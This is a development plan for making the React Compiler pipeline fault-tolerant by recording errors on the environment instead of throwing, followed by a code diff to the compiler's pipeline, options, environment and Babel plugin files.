- Change signature to return void (note: operates on `ReactiveFunction`)
- Record errors on the function's env
- Update Pipeline.ts call site (line 572): remove `.unwrap()`
- [x] **4.12 `validateSourceLocations`** (`src/Validation/ValidateSourceLocations.ts`)
- Change signature to return void
- Record errors on env
- Update Pipeline.ts call site (line 585): remove `.unwrap()`
#### Pattern B passes (currently use `env.logErrors()`)
These already use a soft-logging pattern and don't block compilation. They can be migrated to `env.recordError()` so all errors are aggregated in one place.
- [ ] **4.13 `validateNoDerivedComputationsInEffects_exp`** — change to record on env directly
- [ ] **4.14 `validateNoSetStateInEffects`** — change to record on env directly
- [ ] **4.15 `validateNoJSXInTryStatement`** — change to record on env directly
- [ ] **4.16 `validateStaticComponents`** — change to record on env directly
#### Pattern D passes (currently throw directly, no Result)
These throw `CompilerError` directly (not via Result). They need the most work.
- [x] **4.17 `validateContextVariableLValues`** (`src/Validation/ValidateContextVariableLValues.ts`)
- Currently throws via `CompilerError.throwTodo()` and `CompilerError.invariant()`
- Change to record Todo errors on env and continue
- Keep invariant throws (those indicate internal bugs)
- [x] **4.18 `validateLocalsNotReassignedAfterRender`** (`src/Validation/ValidateLocalsNotReassignedAfterRender.ts`)
- Currently constructs a `CompilerError` and `throw`s it directly
- Change to record errors on env
- [x] **4.19 `validateNoDerivedComputationsInEffects`** (`src/Validation/ValidateNoDerivedComputationsInEffects.ts`)
- Currently throws directly
- Change to record errors on env
### Phase 5: Update Inference Passes
The inference passes are the most critical to handle correctly because they produce side effects (populating effects on instructions, computing mutable ranges) that downstream passes depend on. They must continue producing valid (even if imprecise) output when errors are encountered.
- [x] **5.1 `inferMutationAliasingEffects`** (`src/Inference/InferMutationAliasingEffects.ts`)
- Currently returns `Result<void, CompilerError>` — errors are about mutation of frozen/global values
- Change to record errors on `fn.env` instead of accumulating internally
- **Key recovery strategy**: When a mutation of a frozen value is detected, record the error but treat the operation as a non-mutating read. This way downstream passes see a consistent (if conservative) view
- When a mutation of a global is detected, record the error but continue with the global unchanged
- Update Pipeline.ts (lines 233-239): remove the conditional `.isErr()` / throw pattern
- [x] **5.2 `inferMutationAliasingRanges`** (`src/Inference/InferMutationAliasingRanges.ts`)
- Currently returns `Result<Array<AliasingEffect>, CompilerError>`
- This pass has a meaningful success value (the function's external aliasing effects)
- Change to: always produce a best-effort effects array, record errors on env
- When errors are encountered, produce conservative effects (e.g., assume no external mutation)
- Update Pipeline.ts (lines 258-267): remove the conditional throw pattern, call directly
### Phase 6: Update Codegen
- [x] **6.1 `codegenFunction`** (`src/ReactiveScopes/CodegenReactiveFunction.ts`)
- Currently returns `Result<CodegenFunction, CompilerError>`
- Change to: always produce a `CodegenFunction`, record errors on env
- If codegen encounters an error (e.g., an instruction it can't generate code for), it should:
- Record the error
- For `UnsupportedNode` values: pass through the original AST node (already works this way)
- For other error cases: emit a placeholder or the original AST where possible
- Update Pipeline.ts (line 575-578): remove `.unwrap()`
### Phase 7: Pipeline.ts Pass-by-Pass Migration
Walk through `runWithEnvironment` and wrap each pass call site. This is the integration work tying Phases 3-6 together.
- [x] **7.1 Wrap `lower()` call** (line 163)
- Change from `lower(func, env).unwrap()` to `lower(func, env)` (direct return after Phase 3.1)
- [x] **7.2 Wrap validation calls that use `.unwrap()`** (lines 169-303)
- Remove `.unwrap()` from all validation calls after they're updated in Phase 4
- For validations guarded by `env.enableValidations`, keep the guard but remove the `.unwrap()`
- [x] **7.3 Wrap inference calls** (lines 233-267)
- After Phase 5, `inferMutationAliasingEffects` and `inferMutationAliasingRanges` record errors directly
- Remove the `mutabilityAliasingErrors` / `mutabilityAliasingRangeErrors` variables and their conditional throw logic
- [x] **7.4 Wrap `env.logErrors()` calls** (lines 286-331)
- After Phase 4.13-4.16, these passes record on env directly
- Remove the `env.logErrors()` wrapper calls
- [x] **7.5 Wrap codegen** (lines 575-578)
- After Phase 6.1, `codegenFunction` returns directly
- Remove the `.unwrap()`
- [x] **7.6 Add final error check** (end of `runWithEnvironment`)
- After all passes complete, check `env.hasErrors()`
- If no errors: return `Ok(ast)`
- If errors: return `Err(env.aggregateErrors())`
- [x] **7.7 Consider wrapping each pass in `env.tryRecord()`** as a safety net
- Even after individual passes are updated, wrapping each pass call in `env.tryRecord()` provides defense-in-depth
- If a pass unexpectedly throws a CompilerError (e.g., from a code path we missed), it gets caught and recorded rather than aborting the pipeline
- Non-CompilerError exceptions and invariants still propagate immediately
### Phase 8: Testing
- [x] **8.1 Update existing `error.todo-*` fixture expectations**
- Currently, fixtures with `error.todo-` prefix expect a single error and bailout
- After fault tolerance, some of these may now produce multiple errors
- Update the `.expect.md` files to reflect the new aggregated error output
- [x] **8.2 Add multi-error test fixtures**
- Create test fixtures that contain multiple independent errors (e.g., both a `var` declaration and a mutation of a frozen value)
- Verify that all errors are reported, not just the first one
- [x] **8.3 Add test for invariant-still-throws behavior**
- Verify that `CompilerError.invariant()` failures still cause immediate abort
- Verify that non-CompilerError exceptions still cause immediate abort
- [x] **8.4 Add test for partial HIR codegen**
- Verify that when BuildHIR produces partial HIR (with `UnsupportedNode` values), later passes handle it gracefully and codegen produces the original AST for unsupported portions
- [x] **8.5 Verify error severity in aggregated output**
- Test that the aggregated `CompilerError` correctly reports `hasErrors()` vs `hasWarning()` vs `hasHints()` based on the mix of accumulated diagnostics
- Verify that `panicThreshold` behavior in Program.ts is correct for aggregated errors
- [x] **8.6 Run full test suite**
- Run `yarn snap` and `yarn snap -u` to update all fixture expectations
- Ensure no regressions in passing tests
### Implementation Notes
**Ordering**: Phases 1 → 2 → 3 → 4/5/6 (parallel) → 7 → 8. Phase 1 (Environment infrastructure) is the foundation. Phase 2 (Pipeline return type) sets up the contract. Phases 3-6 can be done incrementally — each pass can be migrated independently using `env.tryRecord()` as a transitional wrapper. Phase 7 is the integration. Phase 8 validates everything.
**Incremental migration path**: Rather than updating all passes at once, each pass can be individually migrated. During the transition:
1. First add `env.tryRecord()` in Phase 7.7 around all pass calls in the pipeline — this immediately provides fault tolerance by catching any thrown CompilerError
2. Then individually update passes (Phases 3-6) to record errors directly on env, which is cleaner but not required for the basic behavior
3. This means the feature can be landed incrementally: Phase 1 + 2 + 7.7 gives basic fault tolerance, then individual passes can be refined over time
**What NOT to change**:
- `CompilerError.invariant()` must continue to throw immediately — these represent internal bugs
- Non-CompilerError exceptions must continue to throw — these are unexpected JS errors
- The `assertConsistentIdentifiers`, `assertTerminalSuccessorsExist`, `assertTerminalPredsExist`, `assertValidBlockNesting`, `assertValidMutableRanges`, `assertWellFormedBreakTargets`, `assertScopeInstructionsWithinScopes` assertion functions should continue to throw — they are invariant checks on internal data structure consistency
- The `panicThreshold` mechanism in Program.ts should continue to work — it now operates on the aggregated error from the Result rather than a caught exception, but the behavior is the same
## Key Learnings
* **Phase 2+7 (Pipeline tryRecord wrapping) was sufficient for basic fault tolerance.** Wrapping all passes in `env.tryRecord()` immediately enabled the compiler to continue past errors that previously threw. This caused 52 test fixtures to produce additional errors that were previously masked by the first error bailing out. For example, `error.todo-reassign-const` previously reported only "Support destructuring of context variables" but now also reports the immutability violation.
* **Lint-only passes (Pattern B: `env.logErrors()`) should not use `tryRecord()`/`recordError()`** because those errors are intentionally non-blocking. They are reported via the logger only and should not cause the pipeline to return `Err`. The `logErrors` pattern was kept for `validateNoDerivedComputationsInEffects_exp`, `validateNoSetStateInEffects`, `validateNoJSXInTryStatement`, and `validateStaticComponents`.
* **Inference passes that return `Result` with validation errors** (`inferMutationAliasingEffects`, `inferMutationAliasingRanges`) were changed to record errors via `env.recordErrors()` instead of throwing, allowing subsequent passes to proceed.
* **Value-producing passes** (`memoizeFbtAndMacroOperandsInSameScope`, `renameVariables`, `buildReactiveFunction`) need safe default values when wrapped in `tryRecord()` since the callback can't return values. We initialize with empty defaults (e.g., `new Set()`) before the `tryRecord()` call.
* **Phase 3 (BuildHIR) revealed that most error sites already used `builder.errors.push()` for accumulation.** The existing lowering code was designed to accumulate errors rather than throw. The main changes were: (1) changing `lower()` return type from `Result` to `HIRFunction`, (2) recording builder errors on env, (3) adding a try/catch around body lowering to catch thrown CompilerErrors from sub-calls like `resolveBinding()`, (4) treating `var` as `let` instead of skipping declarations, and (5) fixing ForStatement init/test handling to produce valid CFG structure.
* **Partial HIR can trigger downstream invariants.** When lowering skips or partially handles constructs (e.g., unreachable hoisted functions, `var` declarations before the fix), downstream passes like `InferMutationAliasingEffects` may encounter uninitialized identifiers and throw invariants. This is acceptable since the function still correctly bails out of compilation, but error messages may be less specific. The fix for `var` (treating as `let`) demonstrates how to avoid this: continue lowering with a best-effort representation rather than skipping entirely.
* **Errors accumulated on `env` are lost when an invariant propagates out of the pipeline.** Since invariant CompilerErrors always re-throw through `tryRecord()`, they exit the pipeline as exceptions. The caller only sees the invariant error, not any errors previously recorded on `env`. This is a design limitation that could be addressed by aggregating env errors with caught exceptions in `tryCompileFunction()`.

View File

@@ -302,15 +302,6 @@ yarn snap minimize <path>
yarn snap -u
```
## Fault Tolerance
The pipeline is fault-tolerant: all passes run to completion, accumulating errors on `Environment` rather than aborting on the first error.
- **Validation passes** are wrapped in `env.tryRecord()` in Pipeline.ts, which catches non-invariant `CompilerError`s and records them. If a validation pass throws, compilation continues.
- **Infrastructure/transformation passes** (enterSSA, eliminateRedundantPhi, inferMutationAliasingEffects, codegen, etc.) are NOT wrapped in `tryRecord()` because subsequent passes depend on their output being structurally valid. If they fail, compilation aborts.
- **`lower()` (BuildHIR)** always produces an `HIRFunction`, recording errors on `env` instead of returning `Err`. Unsupported constructs (e.g., `var`) are lowered best-effort.
- At the end of the pipeline, `env.hasErrors()` determines whether to return `Ok(codegen)` or `Err(aggregatedErrors)`.
## Further Reading
- [MUTABILITY_ALIASING_MODEL.md](../../src/Inference/MUTABILITY_ALIASING_MODEL.md): Detailed aliasing model docs

View File

@@ -11,6 +11,7 @@ import {
injectReanimatedFlag,
pipelineUsesReanimatedPlugin,
} from '../Entrypoint/Reanimated';
import validateNoUntransformedReferences from '../Entrypoint/ValidateNoUntransformedReferences';
import {CompilerError} from '..';
const ENABLE_REACT_COMPILER_TIMINGS =
@@ -63,12 +64,19 @@ export default function BabelPluginReactCompiler(
},
};
}
compileProgram(prog, {
const result = compileProgram(prog, {
opts,
filename: pass.filename ?? null,
comments: pass.file.ast.comments ?? [],
code: pass.file.code,
});
validateNoUntransformedReferences(
prog,
pass.filename ?? null,
opts.logger,
opts.environment,
result,
);
if (ENABLE_REACT_COMPILER_TIMINGS === true) {
performance.mark(`${filename}:end`, {
detail: 'BabelPlugin:Program:end',

View File

@@ -19,7 +19,7 @@ import {getOrInsertWith} from '../Utils/utils';
import {ExternalFunction, isHookName} from '../HIR/Environment';
import {Err, Ok, Result} from '../Utils/Result';
import {LoggerEvent, ParsedPluginOptions} from './Options';
import {getReactCompilerRuntimeModule} from './Program';
import {BabelFn, getReactCompilerRuntimeModule} from './Program';
import {SuppressionRange} from './Suppression';
export function validateRestrictedImports(
@@ -84,6 +84,11 @@ export class ProgramContext {
// generated imports
imports: Map<string, Map<string, NonLocalImportSpecifier>> = new Map();
/**
* Metadata from compilation
*/
retryErrors: Array<{fn: BabelFn; error: CompilerError}> = [];
constructor({
program,
suppressions,

View File

@@ -228,6 +228,8 @@ const CompilerOutputModeSchema = z.enum([
'ssr',
// Build optimized for the client, with auto memoization
'client',
// Build optimized for the client without auto memo
'client-no-memo',
// Lint mode, the output is unused but validations should run
'lint',
]);
@@ -252,7 +254,6 @@ export type LoggerEvent =
| CompileErrorEvent
| CompileDiagnosticEvent
| CompileSkipEvent
| CompileUnexpectedThrowEvent
| PipelineErrorEvent
| TimingEvent;
@@ -287,11 +288,6 @@ export type PipelineErrorEvent = {
fnLoc: t.SourceLocation | null;
data: string;
};
export type CompileUnexpectedThrowEvent = {
kind: 'CompileUnexpectedThrow';
fnLoc: t.SourceLocation | null;
data: string;
};
export type TimingEvent = {
kind: 'Timing';
measurement: PerformanceMeasure;

View File

@@ -13,6 +13,7 @@ import {CompilerError} from '../CompilerError';
import {Err, Ok, Result} from '../Utils/Result';
import {
HIRFunction,
IdentifierId,
ReactiveFunction,
assertConsistentIdentifiers,
assertTerminalPredsExist,
@@ -91,6 +92,7 @@ import {validateNoJSXInTryStatement} from '../Validation/ValidateNoJSXInTryState
import {propagateScopeDependenciesHIR} from '../HIR/PropagateScopeDependenciesHIR';
import {outlineJSX} from '../Optimization/OutlineJsx';
import {optimizePropsMethodCalls} from '../Optimization/OptimizePropsMethodCalls';
import {validateNoImpureFunctionsInRender} from '../Validation/ValidateNoImpureFunctionsInRender';
import {validateStaticComponents} from '../Validation/ValidateStaticComponents';
import {validateNoFreezingKnownMutableFunctions} from '../Validation/ValidateNoFreezingKnownMutableFunctions';
import {inferMutationAliasingEffects} from '../Inference/InferMutationAliasingEffects';
@@ -157,7 +159,9 @@ function runWithEnvironment(
const hir = lower(func, env);
log({kind: 'hir', name: 'HIR', value: hir});
pruneMaybeThrows(hir);
env.tryRecord(() => {
pruneMaybeThrows(hir);
});
log({kind: 'hir', name: 'PruneMaybeThrows', value: hir});
validateContextVariableLValues(hir);
@@ -168,31 +172,43 @@ function runWithEnvironment(
log({kind: 'hir', name: 'DropManualMemoization', value: hir});
}
inlineImmediatelyInvokedFunctionExpressions(hir);
env.tryRecord(() => {
inlineImmediatelyInvokedFunctionExpressions(hir);
});
log({
kind: 'hir',
name: 'InlineImmediatelyInvokedFunctionExpressions',
value: hir,
});
mergeConsecutiveBlocks(hir);
env.tryRecord(() => {
mergeConsecutiveBlocks(hir);
});
log({kind: 'hir', name: 'MergeConsecutiveBlocks', value: hir});
assertConsistentIdentifiers(hir);
assertTerminalSuccessorsExist(hir);
enterSSA(hir);
env.tryRecord(() => {
enterSSA(hir);
});
log({kind: 'hir', name: 'SSA', value: hir});
eliminateRedundantPhi(hir);
env.tryRecord(() => {
eliminateRedundantPhi(hir);
});
log({kind: 'hir', name: 'EliminateRedundantPhi', value: hir});
assertConsistentIdentifiers(hir);
constantPropagation(hir);
env.tryRecord(() => {
constantPropagation(hir);
});
log({kind: 'hir', name: 'ConstantPropagation', value: hir});
inferTypes(hir);
env.tryRecord(() => {
inferTypes(hir);
});
log({kind: 'hir', name: 'InferTypes', value: hir});
if (env.enableValidations) {
@@ -204,24 +220,34 @@ function runWithEnvironment(
}
}
optimizePropsMethodCalls(hir);
env.tryRecord(() => {
optimizePropsMethodCalls(hir);
});
log({kind: 'hir', name: 'OptimizePropsMethodCalls', value: hir});
analyseFunctions(hir);
env.tryRecord(() => {
analyseFunctions(hir);
});
log({kind: 'hir', name: 'AnalyseFunctions', value: hir});
inferMutationAliasingEffects(hir);
log({kind: 'hir', name: 'InferMutationAliasingEffects', value: hir});
if (env.outputMode === 'ssr') {
optimizeForSSR(hir);
env.tryRecord(() => {
optimizeForSSR(hir);
});
log({kind: 'hir', name: 'OptimizeForSSR', value: hir});
}
// Note: Has to come after infer reference effects because "dead" code may still affect inference
deadCodeElimination(hir);
env.tryRecord(() => {
deadCodeElimination(hir);
});
log({kind: 'hir', name: 'DeadCodeElimination', value: hir});
pruneMaybeThrows(hir);
env.tryRecord(() => {
pruneMaybeThrows(hir);
});
log({kind: 'hir', name: 'PruneMaybeThrows', value: hir});
inferMutationAliasingRanges(hir, {
@@ -230,7 +256,9 @@ function runWithEnvironment(
log({kind: 'hir', name: 'InferMutationAliasingRanges', value: hir});
if (env.enableValidations) {
validateLocalsNotReassignedAfterRender(hir);
}
if (env.enableValidations) {
if (env.config.assertValidMutableRanges) {
assertValidMutableRanges(hir);
}
@@ -260,10 +288,16 @@ function runWithEnvironment(
env.logErrors(validateNoJSXInTryStatement(hir));
}
if (env.config.validateNoImpureFunctionsInRender) {
validateNoImpureFunctionsInRender(hir);
}
validateNoFreezingKnownMutableFunctions(hir);
}
inferReactivePlaces(hir);
env.tryRecord(() => {
inferReactivePlaces(hir);
});
log({kind: 'hir', name: 'InferReactivePlaces', value: hir});
if (env.enableValidations) {
@@ -276,7 +310,9 @@ function runWithEnvironment(
}
}
rewriteInstructionKindsBasedOnReassignment(hir);
env.tryRecord(() => {
rewriteInstructionKindsBasedOnReassignment(hir);
});
log({
kind: 'hir',
name: 'RewriteInstructionKindsBasedOnReassignment',
@@ -297,11 +333,16 @@ function runWithEnvironment(
* if inferred memoization is enabled. This makes all later passes which
* transform reactive-scope labeled instructions no-ops.
*/
inferReactiveScopeVariables(hir);
env.tryRecord(() => {
inferReactiveScopeVariables(hir);
});
log({kind: 'hir', name: 'InferReactiveScopeVariables', value: hir});
}
const fbtOperands = memoizeFbtAndMacroOperandsInSameScope(hir);
let fbtOperands: Set<IdentifierId> = new Set();
env.tryRecord(() => {
fbtOperands = memoizeFbtAndMacroOperandsInSameScope(hir);
});
log({
kind: 'hir',
name: 'MemoizeFbtAndMacroOperandsInSameScope',
@@ -309,11 +350,15 @@ function runWithEnvironment(
});
if (env.config.enableJsxOutlining) {
outlineJSX(hir);
env.tryRecord(() => {
outlineJSX(hir);
});
}
if (env.config.enableNameAnonymousFunctions) {
nameAnonymousFunctions(hir);
env.tryRecord(() => {
nameAnonymousFunctions(hir);
});
log({
kind: 'hir',
name: 'NameAnonymousFunctions',
@@ -322,39 +367,51 @@ function runWithEnvironment(
}
if (env.config.enableFunctionOutlining) {
outlineFunctions(hir, fbtOperands);
env.tryRecord(() => {
outlineFunctions(hir, fbtOperands);
});
log({kind: 'hir', name: 'OutlineFunctions', value: hir});
}
alignMethodCallScopes(hir);
env.tryRecord(() => {
alignMethodCallScopes(hir);
});
log({
kind: 'hir',
name: 'AlignMethodCallScopes',
value: hir,
});
alignObjectMethodScopes(hir);
env.tryRecord(() => {
alignObjectMethodScopes(hir);
});
log({
kind: 'hir',
name: 'AlignObjectMethodScopes',
value: hir,
});
pruneUnusedLabelsHIR(hir);
env.tryRecord(() => {
pruneUnusedLabelsHIR(hir);
});
log({
kind: 'hir',
name: 'PruneUnusedLabelsHIR',
value: hir,
});
alignReactiveScopesToBlockScopesHIR(hir);
env.tryRecord(() => {
alignReactiveScopesToBlockScopesHIR(hir);
});
log({
kind: 'hir',
name: 'AlignReactiveScopesToBlockScopesHIR',
value: hir,
});
mergeOverlappingReactiveScopesHIR(hir);
env.tryRecord(() => {
mergeOverlappingReactiveScopesHIR(hir);
});
log({
kind: 'hir',
name: 'MergeOverlappingReactiveScopesHIR',
@@ -362,7 +419,9 @@ function runWithEnvironment(
});
assertValidBlockNesting(hir);
buildReactiveScopeTerminalsHIR(hir);
env.tryRecord(() => {
buildReactiveScopeTerminalsHIR(hir);
});
log({
kind: 'hir',
name: 'BuildReactiveScopeTerminalsHIR',
@@ -371,14 +430,18 @@ function runWithEnvironment(
assertValidBlockNesting(hir);
flattenReactiveLoopsHIR(hir);
env.tryRecord(() => {
flattenReactiveLoopsHIR(hir);
});
log({
kind: 'hir',
name: 'FlattenReactiveLoopsHIR',
value: hir,
});
flattenScopesWithHooksOrUseHIR(hir);
env.tryRecord(() => {
flattenScopesWithHooksOrUseHIR(hir);
});
log({
kind: 'hir',
name: 'FlattenScopesWithHooksOrUseHIR',
@@ -386,15 +449,19 @@ function runWithEnvironment(
});
assertTerminalSuccessorsExist(hir);
assertTerminalPredsExist(hir);
propagateScopeDependenciesHIR(hir);
env.tryRecord(() => {
propagateScopeDependenciesHIR(hir);
});
log({
kind: 'hir',
name: 'PropagateScopeDependenciesHIR',
value: hir,
});
const reactiveFunction = buildReactiveFunction(hir);
let reactiveFunction!: ReactiveFunction;
env.tryRecord(() => {
reactiveFunction = buildReactiveFunction(hir);
});
log({
kind: 'reactive',
name: 'BuildReactiveFunction',
@@ -403,7 +470,9 @@ function runWithEnvironment(
assertWellFormedBreakTargets(reactiveFunction);
pruneUnusedLabels(reactiveFunction);
env.tryRecord(() => {
pruneUnusedLabels(reactiveFunction);
});
log({
kind: 'reactive',
name: 'PruneUnusedLabels',
@@ -411,90 +480,116 @@ function runWithEnvironment(
});
assertScopeInstructionsWithinScopes(reactiveFunction);
pruneNonEscapingScopes(reactiveFunction);
env.tryRecord(() => {
pruneNonEscapingScopes(reactiveFunction);
});
log({
kind: 'reactive',
name: 'PruneNonEscapingScopes',
value: reactiveFunction,
});
pruneNonReactiveDependencies(reactiveFunction);
env.tryRecord(() => {
pruneNonReactiveDependencies(reactiveFunction);
});
log({
kind: 'reactive',
name: 'PruneNonReactiveDependencies',
value: reactiveFunction,
});
pruneUnusedScopes(reactiveFunction);
env.tryRecord(() => {
pruneUnusedScopes(reactiveFunction);
});
log({
kind: 'reactive',
name: 'PruneUnusedScopes',
value: reactiveFunction,
});
mergeReactiveScopesThatInvalidateTogether(reactiveFunction);
env.tryRecord(() => {
mergeReactiveScopesThatInvalidateTogether(reactiveFunction);
});
log({
kind: 'reactive',
name: 'MergeReactiveScopesThatInvalidateTogether',
value: reactiveFunction,
});
pruneAlwaysInvalidatingScopes(reactiveFunction);
env.tryRecord(() => {
pruneAlwaysInvalidatingScopes(reactiveFunction);
});
log({
kind: 'reactive',
name: 'PruneAlwaysInvalidatingScopes',
value: reactiveFunction,
});
propagateEarlyReturns(reactiveFunction);
env.tryRecord(() => {
propagateEarlyReturns(reactiveFunction);
});
log({
kind: 'reactive',
name: 'PropagateEarlyReturns',
value: reactiveFunction,
});
pruneUnusedLValues(reactiveFunction);
env.tryRecord(() => {
pruneUnusedLValues(reactiveFunction);
});
log({
kind: 'reactive',
name: 'PruneUnusedLValues',
value: reactiveFunction,
});
promoteUsedTemporaries(reactiveFunction);
env.tryRecord(() => {
promoteUsedTemporaries(reactiveFunction);
});
log({
kind: 'reactive',
name: 'PromoteUsedTemporaries',
value: reactiveFunction,
});
extractScopeDeclarationsFromDestructuring(reactiveFunction);
env.tryRecord(() => {
extractScopeDeclarationsFromDestructuring(reactiveFunction);
});
log({
kind: 'reactive',
name: 'ExtractScopeDeclarationsFromDestructuring',
value: reactiveFunction,
});
stabilizeBlockIds(reactiveFunction);
env.tryRecord(() => {
stabilizeBlockIds(reactiveFunction);
});
log({
kind: 'reactive',
name: 'StabilizeBlockIds',
value: reactiveFunction,
});
const uniqueIdentifiers = renameVariables(reactiveFunction);
let uniqueIdentifiers: Set<string> = new Set();
env.tryRecord(() => {
uniqueIdentifiers = renameVariables(reactiveFunction);
});
log({
kind: 'reactive',
name: 'RenameVariables',
value: reactiveFunction,
});
pruneHoistedContexts(reactiveFunction);
env.tryRecord(() => {
pruneHoistedContexts(reactiveFunction);
});
log({
kind: 'reactive',
name: 'PruneHoistedContexts',
value: reactiveFunction,
});
if (
env.config.enablePreserveExistingMemoizationGuarantees ||
env.config.validatePreserveExistingMemoizationGuarantees

View File

@@ -350,6 +350,9 @@ function isFilePartOfSources(
return false;
}
export type CompileProgramMetadata = {
retryErrors: Array<{fn: BabelFn; error: CompilerError}>;
};
/**
* Main entrypoint for React Compiler.
*
@@ -360,7 +363,7 @@ function isFilePartOfSources(
export function compileProgram(
program: NodePath<t.Program>,
pass: CompilerPass,
): void {
): CompileProgramMetadata | null {
/**
* This is directly invoked by the react-compiler babel plugin, so exceptions
* thrown by this function will fail the babel build.
@@ -373,7 +376,7 @@ export function compileProgram(
* the outlined functions.
*/
if (shouldSkipCompilation(program, pass)) {
return;
return null;
}
const restrictedImportsErr = validateRestrictedImports(
program,
@@ -381,7 +384,7 @@ export function compileProgram(
);
if (restrictedImportsErr) {
handleError(restrictedImportsErr, pass, null);
return;
return null;
}
/*
* Record lint errors and critical errors as depending on Forget's config,
@@ -475,11 +478,15 @@ export function compileProgram(
);
handleError(error, programContext, null);
}
return;
return null;
}
// Insert React Compiler generated functions into the Babel AST
applyCompiledFunctions(program, compiledFns, pass, programContext);
return {
retryErrors: programContext.retryErrors,
};
}
type CompileSource = {
@@ -713,20 +720,6 @@ function tryCompileFunction(
return {kind: 'error', error: result.unwrapErr()};
}
} catch (err) {
/**
* A pass incorrectly threw instead of recording the error.
* Log for detection in development.
*/
if (
err instanceof CompilerError &&
err.details.every(detail => detail.category !== ErrorCategory.Invariant)
) {
programContext.logEvent({
kind: 'CompileUnexpectedThrow',
fnLoc: fn.node.loc ?? null,
data: err.toString(),
});
}
return {kind: 'error', error: err};
}
}

View File

@@ -0,0 +1,162 @@
/**
* Copyright (c) Meta Platforms, Inc. and affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/
import {NodePath} from '@babel/core';
import * as t from '@babel/types';
import {CompilerError, EnvironmentConfig, Logger} from '..';
import {getOrInsertWith} from '../Utils/utils';
import {GeneratedSource} from '../HIR';
import {DEFAULT_EXPORT} from '../HIR/Environment';
import {CompileProgramMetadata} from './Program';
export default function validateNoUntransformedReferences(
path: NodePath<t.Program>,
filename: string | null,
logger: Logger | null,
env: EnvironmentConfig,
compileResult: CompileProgramMetadata | null,
): void {
const moduleLoadChecks = new Map<
string,
Map<string, CheckInvalidReferenceFn>
>();
if (moduleLoadChecks.size > 0) {
transformProgram(path, moduleLoadChecks, filename, logger, compileResult);
}
}
type TraversalState = {
shouldInvalidateScopes: boolean;
program: NodePath<t.Program>;
logger: Logger | null;
filename: string | null;
transformErrors: Array<{fn: NodePath<t.Node>; error: CompilerError}>;
};
type CheckInvalidReferenceFn = (
paths: Array<NodePath<t.Node>>,
context: TraversalState,
) => void;
function validateImportSpecifier(
specifier: NodePath<t.ImportSpecifier>,
importSpecifierChecks: Map<string, CheckInvalidReferenceFn>,
state: TraversalState,
): void {
const imported = specifier.get('imported');
const specifierName: string =
imported.node.type === 'Identifier'
? imported.node.name
: imported.node.value;
const checkFn = importSpecifierChecks.get(specifierName);
if (checkFn == null) {
return;
}
if (state.shouldInvalidateScopes) {
state.shouldInvalidateScopes = false;
state.program.scope.crawl();
}
const local = specifier.get('local');
const binding = local.scope.getBinding(local.node.name);
CompilerError.invariant(binding != null, {
reason: 'Expected binding to be found for import specifier',
loc: local.node.loc ?? GeneratedSource,
});
checkFn(binding.referencePaths, state);
}
function validateNamespacedImport(
specifier: NodePath<t.ImportNamespaceSpecifier | t.ImportDefaultSpecifier>,
importSpecifierChecks: Map<string, CheckInvalidReferenceFn>,
state: TraversalState,
): void {
if (state.shouldInvalidateScopes) {
state.shouldInvalidateScopes = false;
state.program.scope.crawl();
}
const local = specifier.get('local');
const binding = local.scope.getBinding(local.node.name);
const defaultCheckFn = importSpecifierChecks.get(DEFAULT_EXPORT);
CompilerError.invariant(binding != null, {
reason: 'Expected binding to be found for import specifier',
loc: local.node.loc ?? GeneratedSource,
});
const filteredReferences = new Map<
CheckInvalidReferenceFn,
Array<NodePath<t.Node>>
>();
for (const reference of binding.referencePaths) {
if (defaultCheckFn != null) {
getOrInsertWith(filteredReferences, defaultCheckFn, () => []).push(
reference,
);
}
const parent = reference.parentPath;
if (
parent != null &&
parent.isMemberExpression() &&
parent.get('object') === reference
) {
if (parent.node.computed || parent.node.property.type !== 'Identifier') {
continue;
}
const checkFn = importSpecifierChecks.get(parent.node.property.name);
if (checkFn != null) {
getOrInsertWith(filteredReferences, checkFn, () => []).push(parent);
}
}
}
for (const [checkFn, references] of filteredReferences) {
checkFn(references, state);
}
}
function transformProgram(
path: NodePath<t.Program>,
moduleLoadChecks: Map<string, Map<string, CheckInvalidReferenceFn>>,
filename: string | null,
logger: Logger | null,
compileResult: CompileProgramMetadata | null,
): void {
const traversalState: TraversalState = {
shouldInvalidateScopes: true,
program: path,
filename,
logger,
transformErrors: compileResult?.retryErrors ?? [],
};
path.traverse({
ImportDeclaration(path: NodePath<t.ImportDeclaration>) {
const importSpecifierChecks = moduleLoadChecks.get(
path.node.source.value,
);
if (importSpecifierChecks == null) {
return;
}
const specifiers = path.get('specifiers');
for (const specifier of specifiers) {
if (specifier.isImportSpecifier()) {
validateImportSpecifier(
specifier,
importSpecifierChecks,
traversalState,
);
} else {
validateNamespacedImport(
specifier as NodePath<
t.ImportNamespaceSpecifier | t.ImportDefaultSpecifier
>,
importSpecifierChecks,
traversalState,
);
}
}
},
});
}

View File

@@ -310,13 +310,16 @@ function traverseOptionalBlock(
* - a optional base block with a separate nested optional-chain (e.g. a(c?.d)?.d)
*/
const testBlock = context.blocks.get(maybeTest.terminal.fallthrough)!;
/**
* Fallthrough of the inner optional should be a block with no
* instructions, terminating with Test($<temporary written to from
* StoreLocal>)
*/
if (testBlock.terminal.kind !== 'branch') {
return null;
if (testBlock!.terminal.kind !== 'branch') {
/**
* Fallthrough of the inner optional should be a block with no
* instructions, terminating with Test($<temporary written to from
* StoreLocal>)
*/
CompilerError.throwTodo({
reason: `Unexpected terminal kind \`${testBlock.terminal.kind}\` for optional fallthrough block`,
loc: maybeTest.terminal.loc,
});
}
/**
* Recurse into inner optional blocks to collect inner optional-chain

View File

@@ -640,6 +640,9 @@ export class Environment {
case 'ssr': {
return true;
}
case 'client-no-memo': {
return false;
}
default: {
assertExhaustive(
this.outputMode,
@@ -656,7 +659,8 @@ export class Environment {
// linting also enables memoization so that we can check if manual memoization is preserved
return true;
}
case 'ssr': {
case 'ssr':
case 'client-no-memo': {
return false;
}
default: {
@@ -675,6 +679,9 @@ export class Environment {
case 'ssr': {
return true;
}
case 'client-no-memo': {
return false;
}
default: {
assertExhaustive(
this.outputMode,
@@ -734,6 +741,13 @@ export class Environment {
} else {
this.#errors.pushErrorDetail(error);
}
if (this.logger != null) {
this.logger.logEvent(this.filename, {
kind: 'CompileError',
detail: error,
fnLoc: null,
});
}
}
/**
@@ -759,6 +773,29 @@ export class Environment {
return this.#errors;
}
/**
* Wraps a callback in try/catch: if the callback throws a CompilerError
* that is NOT an invariant, the error is recorded and execution continues.
* Non-CompilerError exceptions and invariants are re-thrown.
*/
tryRecord(fn: () => void): void {
try {
fn();
} catch (err) {
if (err instanceof CompilerError) {
